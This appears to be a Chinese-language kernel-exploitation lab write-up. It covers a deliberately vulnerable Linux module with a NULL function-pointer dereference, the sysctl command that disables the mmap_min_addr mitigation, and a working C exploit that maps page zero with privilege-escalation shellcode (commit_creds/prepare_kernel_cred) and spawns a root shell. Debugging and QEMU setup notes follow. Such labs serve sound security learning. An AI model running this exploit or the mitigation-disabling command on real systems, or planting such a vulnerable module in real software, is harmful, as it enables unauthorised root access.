NULL Dereference
环境
内核代码:4.10.1
漏洞代码
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!n");
create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
在我使用的内核版本 create_proc_entry 已经被proc_create 替换,所以内核版本4.10.1中,代码为:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
ssize_t bug1_write(struct file * file, const char __user * buff, size_t st, loff_t * loft){
my_funptr();
return st;
}
static struct file_operations myops = {
.write = bug1_write
};
static int null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
proc_create("bug1", 0666, 0 , &myops);
return 0;
}
static void null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
MODULE_LICENSE("Dual BSD");
Makefile
obj-m := null_dereference.o
KERNELDR := /home/pareto/My_Kernel-4.10.1-master/
cflags := "-Wno-err"
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
modules_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
$(MAKE) -C $(KERNELDR) M=$(PWD) clean
利用空函数指针指向0这个地址,在用户态中分配从0开始的空间并写入shellcode,来达到任意地址调用。利用下列函数实现提权:
commit_creds ( prepare_kernel_cred (0));
获取提权函数的地址。(关闭kaslr)。
shellcode:
xor %eax %eax call 0xc108a7e4 call 0xc108a5a6 ret
踩坑1 内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。
# sysctl -w vm.mmap_min_addr="0"
踩坑2 我利用as指令将汇编指令转换为机器码 ,但是as演了我一手,出现了指令不对的情况手动修改末尾一个字节。
Exp:
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
char payload[30]= "\x31\xc0\xe8\xdd\xa7\x08\xc6\xe8\x9a\xa5\x08\xc6\xc3";
int main(void){
mmap(0,4096, PROT_READ | PROT_WRITE | PROT_EXEC , MAP_FIXED | MAP_PRIVATE |MAP_ANONYMOUS,-1,4096);
memcpy(0,payload ,sizeof(payload));
int fd = open("/proc/bug1",O_WRONLY);
write(fd,"muhe",4);
system("/bin/sh");
return 0;
}
终于提权成功,看了教程还把别人的坑重新踩一边的人,心累。
2.6.32 内核调试断点失败
打断点失败,原因未知降了优化,加载了vmlinux 关闭kaslr,不晓得具体原因。因为调试功能都有问题那么还是选择使用4.10.1内核版本。
记录下失败过程,内核编译过程,降低优化等级为O1。
make menuconfig
make
busybux 静态编译
根文件系统制作busybux/_install 目录
find . | cpio -o --format=newc > ../rootfs.img
启动命令
qemu-system-i386 -kernel ~/Desktop/linux-2.6.32.1/arch/x86/boot/bzImage -initrd ../rootfs.img -append "nokaslr" -S -s
分析结束但是也遗留了一些问题
- 提权使用的函数是怎么得到的 ,猜测用户态函数setuid() 的内核部分可以得到答案。
- kaslr 的变化方式是怎么样,开启kaslr后,内核地址是X000000 + base
0 条评论